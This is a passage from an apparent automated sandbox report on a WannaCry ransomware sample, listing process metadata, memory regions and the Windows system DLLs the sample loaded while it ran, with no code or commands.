0x7ffe29e80000 end_va = 0x7ffe29e89fff entry_point = 0x7ffe29e81010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1632 start_va = 0x7ffe2a070000 end_va = 0x7ffe2a17dfff entry_point = 0x7ffe2a0722a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1633 start_va = 0x7ffe2a3b0000 end_va = 0x7ffe2a520fff entry_point = 0x7ffe2a3d5ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1634 start_va = 0x7ffe2a530000 end_va = 0x7ffe2a586fff entry_point = 0x7ffe2a532500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1635 start_va = 0x7ffe2a640000 end_va = 0x7ffe2a778fff entry_point = 0x7ffe2a645034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1636 start_va = 0x7ffe2a780000 end_va = 0x7ffe2a836fff entry_point = 0x7ffe2a781120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1637 start_va = 0x7ffe2a8b0000 end_va = 0x7ffe2a956fff entry_point = 0x7ffe2a8b282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1638 start_va = 0x7ffe2a960000 end_va = 0x7ffe2aaa4fff entry_point = 0x7ffe2a971c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1639 start_va = 0x7ffe2bf40000 end_va = 0x7ffe2c116fff entry_point = 0x7ffe2bf41f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 1640 start_va = 0x7ffe2c120000 end_va = 0x7ffe2c1c3fff entry_point = 0x7ffe2c121170 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1641 start_va = 0x7ffe2c7b0000 end_va = 0x7ffe2c8e5fff entry_point = 0x7ffe2c7b1150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1642 start_va = 0x7ffe2cb20000 end_va = 0x7ffe2ccc8fff entry_point = 0x7ffe2cb20000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1643 start_va = 0xae756b0000 end_va = 0xae7572ffff entry_point = 0x0 region_type = private name = "private_0x000000ae756b0000" filename = "" Region: id = 1644 start_va = 0x7ff7ea7d3000 end_va = 0x7ff7ea7d4fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea7d3000" filename = "" Region: id = 1645 start_va = 0x7ffe21f40000 end_va = 0x7ffe220bffff entry_point = 0x7ffe21f41070 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 1646 start_va = 0x7ffe25a80000 end_va = 0x7ffe25a99fff entry_point = 0x7ffe25a90f04 region_type = mapped_file name = "bcd.dll" filename = "\\Windows\\System32\\bcd.dll" (normalized: "c:\\windows\\system32\\bcd.dll") Region: id = 1647 start_va = 0x7ffe265d0000 end_va = 0x7ffe265d8fff entry_point = 0x7ffe265d102c region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 1648 start_va = 0x7ffe2c4d0000 end_va = 0x7ffe2c527fff entry_point = 0x7ffe2c4d109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1649 start_va = 0x7ffe2cab0000 end_va = 0x7ffe2cab8fff entry_point = 0x7ffe2cab1400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Thread: id = 128 os_tid = 0xb90 Thread: id = 129 os_tid = 0xb80 Thread: id = 130 os_tid = 0xb6c Thread: id = 131 os_tid = 0xb5c Thread: id = 132 os_tid = 0xb48 Thread: id = 133 os_tid = 0xba4 Thread: id = 149 os_tid = 0xa60 Process: id = "22" image_name = "wanacr~1.exe" filename = "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe" page_root = "0x28c5b000" os_pid = "0x87c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "19" os_parent_pid = "0x880" cmd_line = "C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" cur_dir = "C:\\Users\\5JgHKoaOfdp\\Desktop\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c455" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1684 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1685 start_va = 0x26a4650000 end_va = 0x26a466ffff entry_point = 0x0 region_type = private name = "private_0x00000026a4650000" filename = "" Region: id = 1686 start_va = 0x26a4670000 end_va = 0x26a467efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000026a4670000" filename = "" Region: id = 1687 start_va = 0x26a4680000 end_va = 0x26a4a7ffff entry_point = 0x0 region_type = private name = "private_0x00000026a4680000" filename = "" Region: id = 1688 start_va = 0x26a4a80000 end_va = 0x26a4a83fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000026a4a80000" filename = "" Region: id = 1689 start_va = 0x26a4a90000 end_va = 0x26a4a91fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000026a4a90000" filename = "" Region: id = 1690 start_va = 0x26a4aa0000 end_va = 0x26a4aa1fff entry_point = 0x0 region_type = private name = "private_0x00000026a4aa0000" filename = "" Region: id = 1691 start_va = 0x7ff756110000 end_va = 0x7ff756132fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff756110000" filename = "" Region: id = 1692 start_va = 0x7ff756137000 end_va = 0x7ff756137fff entry_point = 0x0 region_type = private name = "private_0x00007ff756137000" filename = "" Region: id = 1693 start_va = 0x7ff75613e000 end_va = 0x7ff75613ffff entry_point = 0x0 region_type = private name = "private_0x00007ff75613e000" filename = "" Region: id = 1694 start_va = 0x7ff756b50000 end_va = 0x7ff756c58fff entry_point = 0x7ff756b7fa1c region_type = mapped_file name = "wanacry6.malware.exe" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\wanacry6.malware.exe") Region: id = 1695 start_va = 0x7ffe2cb20000 end_va = 0x7ffe2ccc8fff entry_point = 0x7ffe2cb20000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1697 start_va = 0x26a4b00000 end_va = 0x26a4efffff entry_point = 0x0 region_type = private name = "private_0x00000026a4b00000" filename = "" Region: id = 1698 start_va = 0x7ffe2a070000 end_va = 0x7ffe2a17dfff entry_point = 0x7ffe2a0722a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1699 start_va = 0x7ffe2a640000 end_va = 0x7ffe2a778fff entry_point = 0x7ffe2a645034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1700 start_va = 0x26a4650000 end_va = 0x26a465ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000026a4650000" filename = "" Region: id = 1701 start_va = 0x26a4660000 end_va = 0x26a4666fff entry_point = 0x0 region_type = private name = "private_0x00000026a4660000" filename = "" Region: id = 1702 start_va = 0x26a4ab0000 end_va = 0x26a4ab6fff entry_point = 0x0 region_type = private name = "private_0x00000026a4ab0000" filename = "" Region: id = 1703 start_va = 0x26a4ac0000 end_va = 0x26a4ac0fff entry_point = 0x0 region_type = private name = "private_0x00000026a4ac0000" filename = "" Region: id = 1704 start_va = 0x26a4ad0000 end_va = 0x26a4ad0fff entry_point = 0x0 region_type = private name = "private_0x00000026a4ad0000" filename = "" Region: id = 1705 start_va = 0x26a4f00000 end_va = 0x26a4f7dfff entry_point = 0x26a4f00000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1706 start_va = 0x26a4f80000 end_va = 0x26a5107fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000026a4f80000" filename = "" Region: id = 1707 start_va = 0x26a5130000 end_va = 0x26a513ffff entry_point = 0x0 region_type = private name = "private_0x00000026a5130000" filename = "" Region: id = 1708 start_va = 0x26a5140000 end_va = 0x26a52c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000026a5140000" filename = "" Region: id = 1709 start_va = 0x26a52d0000 end_va = 0x26a66cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000026a52d0000" filename = "" Region: id = 1710 start_va = 0x7ff756010000 end_va = 0x7ff75610ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff756010000" filename = "" Region: id = 1711 start_va = 0x7ffe21e80000 end_va = 0x7ffe21e89fff entry_point = 0x7ffe21e810c0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1712 start_va = 0x7ffe22ac0000 end_va = 0x7ffe22ae9fff entry_point = 0x7ffe22aca768 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\System32\\winmmbase.dll" (normalized: "c:\\windows\\system32\\winmmbase.dll") Region: id = 1713 start_va = 0x7ffe22af0000 end_va = 0x7ffe22b0efff entry_point = 0x7ffe22af23f8 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 1714 start_va = 0x7ffe24b90000 end_va = 0x7ffe24baafff entry_point = 0x7ffe24b91050 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 1715 start_va = 0x7ffe24bb0000 end_va = 0x7ffe24e57fff entry_point = 0x7ffe24bbddc4 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 1716 start_va = 0x7ffe24e60000 end_va = 0x7ffe2509ffff entry_point = 0x7ffe24e613f0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 1717 start_va = 0x7ffe25c20000 end_va = 0x7ffe25c29fff entry_point = 0x7ffe25c210c4 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1718 start_va = 0x7ffe25c90000 end_va = 0x7ffe25c98fff entry_point = 0x7ffe25c91080 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\System32\\wsock32.dll" (normalized: "c:\\windows\\system32\\wsock32.dll") Region: id = 1719 start_va = 0x7ffe25f10000 end_va = 0x7ffe25f38fff entry_point = 0x7ffe25f17968 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1720 start_va = 0x7ffe280b0000 end_va = 0x7ffe28309fff entry_point = 0x7ffe280b4740 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll") Region: id = 1721 start_va = 0x7ffe28760000 end_va = 0x7ffe28800fff entry_point = 0x7ffe287610a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 1722 start_va = 0x7ffe28ba0000 end_va = 0x7ffe28cc1fff entry_point = 0x7ffe28bab444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1723 start_va = 0x7ffe28d20000 end_va = 0x7ffe28d45fff entry_point = 0x7ffe28d2159c region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1724 start_va = 0x7ffe29460000 end_va = 0x7ffe2947efff entry_point = 0x7ffe294612f0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1725 start_va = 0x7ffe29ea0000 end_va = 0x7ffe29eb3fff entry_point = 0x7ffe29ea3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1726 start_va = 0x7ffe2a360000 end_va = 0x7ffe2a3a9fff entry_point = 0x7ffe2a361258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1727 start_va = 0x7ffe2a3b0000 end_va = 0x7ffe2a520fff entry_point = 0x7ffe2a3d5ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1728 start_va = 0x7ffe2a530000 end_va = 0x7ffe2a586fff entry_point = 0x7ffe2a532500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1729 start_va = 0x7ffe2a590000 end_va = 0x7ffe2a634fff entry_point = 0x7ffe2a591010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1730 start_va = 0x7ffe2a780000 end_va = 0x7ffe2a836fff entry_point = 0x7ffe2a781120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1731 start_va = 0x7ffe2a8b0000 end_va = 0x7ffe2a956fff entry_point = 0x7ffe2a8b282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1732 start_va = 0x7ffe2a960000 end_va = 0x7ffe2aaa4fff entry_point = 0x7ffe2a971c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1733 start_va = 0x7ffe2aab0000 end_va = 0x7ffe2bebefff entry_point = 0x7ffe2aab1100 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1734 start_va = 0x7ffe2bf40000 end_va = 0x7ffe2c116fff entry_point = 0x7ffe2bf41f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 1735 start_va = 0x7ffe2c1d0000 end_va = 0x7ffe2c203fff entry_point = 0x7ffe2c1d1030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1736 start_va = 0x7ffe2c210000 end_va = 0x7ffe2c385fff entry_point = 0x7ffe2c2110b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1737 start_va = 0x7ffe2c390000 end_va = 0x7ffe2c4c7fff entry_point = 0x7ffe2c391010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1738 start_va = 0x7ffe2c4d0000 end_va = 0x7ffe2c527fff entry_point = 0x7ffe2c4d109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1739 start_va = 0x7ffe2c710000 end_va = 0x7ffe2c7a9fff entry_point = 0x7ffe2c7111a4 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll") Region: id = 1740 start_va = 0x7ffe2c7b0000 end_va = 0x7ffe2c8e5fff entry_point = 0x7ffe2c7b1150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1741 start_va = 0x7ffe2caa0000 end_va = 0x7ffe2caa6fff entry_point = 0x7ffe2caa1010 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 1742 start_va = 0x7ffe2cab0000 end_va = 0x7ffe2cab8fff entry_point = 0x7ffe2cab1400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1743 start_va = 0x7ffe2cac0000 end_va = 0x7ffe2cb10fff entry_point = 0x7ffe2cac12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1744 start_va = 0x26a4af0000 end_va = 0x26a4af1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000026a4af0000" filename = "" Region: id = 1745 start_va = 0x26a68c0000 end_va = 0x26a68cffff entry_point = 0x0 region_type = private name = "private_0x00000026a68c0000" filename = "" Region: id = 1746 start_va = 0x26a66d0000 end_va = 0x26a6789fff entry_point = 0x26a66fc768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1747 start_va = 0x7ffe28d70000 end_va = 0x7ffe28d79fff entry_point = 0x7ffe28d71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 1748 start_va = 0x7ffe29e80000 end_va = 0x7ffe29e89fff entry_point = 0x7ffe29e81010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1749 start_va = 0x7ffe29cb0000 end_va = 0x7ffe29d0dfff entry_point = 0x7ffe29ccf6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 1750 start_va = 0x26a4ae0000 end_va = 0x26a4ae0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000026a4ae0000" filename = "" Region: id = 1751 start_va = 0x26a66d0000 end_va = 0x26a67bffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000026a66d0000" filename = "" Region: id = 1752 start_va = 0x26a4ae0000 end_va = 0x26a4ae3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000026a4ae0000" filename = "" Region: id = 1753 start_va = 0x26a5110000 end_va = 0x26a5116fff entry_point = 0x0 region_type = private name = "private_0x00000026a5110000" filename = "" Region: id = 1754 start_va = 0x26a67c0000 end_va = 0x26a68bffff entry_point = 0x0 region_type = private name = "private_0x00000026a67c0000" filename = "" Region: id = 1755 start_va = 0x26a68d0000 end_va = 0x26a69d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000026a68d0000" filename = "" Region: id = 1756 start_va = 0x26a5120000 end_va = 0x26a5120fff entry_point = 0x0 region_type = private name = "private_0x00000026a5120000" filename = "" Region: id = 1757 start_va = 0x7ffe28580000 end_va = 0x7ffe285a0fff entry_point = 0x7ffe28581100 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 1758 start_va = 0x26a68d0000 end_va = 0x26a6ba4fff entry_point = 0x26a68d0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1759 start_va = 0x26a6bb0000 end_va = 0x26a6bb0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000026a6bb0000" filename = "" Region: id = 1760 start_va = 0x26a6bc0000 end_va = 0x26a6bc0fff entry_point = 0x0 region_type = private name = "private_0x00000026a6bc0000" filename = "" Region: id = 1761 start_va = 0x26a6bd0000 end_va = 0x26a70c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000026a6bd0000" filename = "" Region: id = 1762 start_va = 0x26a70d0000 end_va = 0x26a7f3ffff entry_point = 0x26a70d0000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 1763 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1764 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1765 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1766 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1767 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1768 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1769 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1770 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1771 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1772 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1773 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1774 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1775 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1776 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1777 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1778 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1779 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1780 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1781 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1782 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1783 start_va = 0x26a7f40000 end_va = 0x26a8157fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000026a7f40000" filename = "" Region: id = 1784 start_va = 0x26a8160000 end_va = 0x26a8160fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000026a8160000" filename = "" Region: id = 1785 start_va = 0x26a8160000 end_va = 0x26aaff5fff entry_point = 0x26a8160000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 1786 start_va = 0x26ab000000 end_va = 0x26ab002fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000026ab000000" filename = "" Region: id = 1787 start_va = 0x26ab010000 end_va = 0x26ab010fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000026ab010000" filename = "" Region: id = 1788 start_va = 0x26ab020000 end_va = 0x26ab419fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000026ab020000" filename = "" Region: id = 1789 start_va = 0x26ab420000 end_va = 0x26ab463fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000026ab420000" filename = "" Region: id = 1790 start_va = 0x7ffe29760000 end_va = 0x7ffe2977dfff entry_point = 0x7ffe297611c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1791 start_va = 0x7ffe29350000 end_va = 0x7ffe29384fff entry_point = 0x7ffe293513d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1792 start_va = 0x7ffe29990000 end_va = 0x7ffe299b5fff entry_point = 0x7ffe29995b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1805 start_va = 0x26ab470000 end_va = 0x26ab494fff entry_point = 0x0 region_type = 